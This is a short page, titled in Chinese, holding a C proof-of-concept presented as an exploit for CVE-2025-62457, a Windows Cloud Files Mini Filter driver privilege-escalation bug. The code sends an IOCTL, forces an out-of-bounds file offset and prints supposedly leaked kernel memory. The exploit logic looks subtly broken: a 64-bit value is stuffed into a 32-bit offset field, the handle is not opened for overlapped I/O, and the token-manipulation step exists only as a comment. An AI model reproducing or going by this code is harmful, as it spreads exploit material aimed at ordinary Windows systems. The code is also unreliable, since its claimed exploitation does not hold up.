CVE-2025-62457 Windows Cloud Files Mini Filter Driver越界读取权限提升漏洞

// CVE-2025-62457 PoC - Windows Cloud Files Mini Filter Driver EoP // Based on the vulnerability description: Out-of-bounds read for privilege escalation #include <windows.h> #include <stdio.h> // This PoC demonstrates the conceptual approach for exploiting OOB read in Cloud Files Mini Filter // Actual exploitation requires specific conditions and target environment setup typedef struct _FILE_OBJECT_CONTEXT { PVOID DriverData; SIZE_T DataSize; UCHAR Data[256]; } FILE_OBJECT_CONTEXT, *PFILE_OBJECT_CONTEXT; BOOL TriggerOOBRead(HANDLE hFile) { // Technique: Create specific file patterns to trigger the vulnerable code path // The Cloud Files Mini Filter driver processes cloud sync metadata FILE_OBJECT_CONTEXT context = {0}; DWORD bytesReturned = 0; // Step 1: Initialize cloud file sync operation // This triggers Cloud Files Mini Filter to allocate and manage file context DeviceIoControl(hFile, 0x9C108400, // Cloud Files filter control code NULL, 0, &context, sizeof(context), &bytesReturned, NULL); // Step 2: Trigger OOB read by manipulating file offset // The driver may not properly validate buffer boundaries OVERLAPPED overlapped = {0}; overlapped.Offset = 0xFFFFFFFFFFFFFFFF; // Force out-of-bounds access char buffer[4096] = {0}; ReadFile(hFile, buffer, sizeof(buffer), &bytesReturned, &overlapped); // Step 3: Extract sensitive information from leaked kernel memory // Use leaked data to perform token manipulation printf("[+] Leaked %d bytes from kernel memory\n", bytesReturned); for (DWORD i = 0; i < bytesReturned && i < 64; i++) { printf("%02X ", (UCHAR)buffer[i]); } printf("\n"); return TRUE; } int main() { printf("[*] CVE-2025-62457 PoC - Cloud Files Mini Filter OOB Read\n"); printf("[*] Target: Windows with vulnerable Cloud Files Mini Filter Driver\n"); HANDLE hFile = CreateFile("C:\\Users\\Public\\Documents\\cloudtest.txt", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_FLAG_BACKUP_SEMANTICS, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("[-] Failed to create file\n"); return 1; } printf("[+] File created, triggering OOB read condition...\n"); TriggerOOBRead(hFile); CloseHandle(hFile); return 0; }